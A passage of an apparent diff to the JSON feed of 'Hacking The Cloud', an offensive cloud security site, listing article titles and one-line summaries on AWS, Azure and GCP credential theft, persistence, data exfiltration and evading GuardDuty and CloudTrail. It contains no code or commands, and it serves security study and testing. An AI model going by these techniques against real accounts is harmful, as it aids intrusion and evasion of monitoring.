sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_modified": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_modified": "2023-07-15T15:12:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_modified": "2023-02-17T04:07:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_modified": "2023-01-26T01:07:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_modified": "2023-01-09T03:01:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_modified": "2022-12-28T18:47:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}]} \ No newline at end of file +{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_updated.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/", "title": "Exploiting Public AWS Resources Programmatically - The Playbook", "content_html": "A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png", "date_modified": "2024-12-05T19:48:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_modified": "2024-11-12T03:00:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_modified": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_modified": "2024-10-30T21:58:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_modified": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_modified": "2024-09-01T22:56:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_modified": "2024-08-20T01:29:51+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_modified": "2024-08-04T21:24:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_modified": "2024-07-14T21:50:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_modified": "2024-06-15T06:21:29+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_modified": "2024-05-29T03:08:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_modified": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_modified": "2024-02-09T02:49:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_modified": "2024-02-02T00:17:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_modified": "2024-01-23T00:25:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_modified": "2024-01-21T17:34:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_modified": "2024-01-21T17:27:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_modified": "2024-01-21T17:20:20+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_modified": "2024-01-13T20:48:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_modified": "2024-01-13T01:04:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": 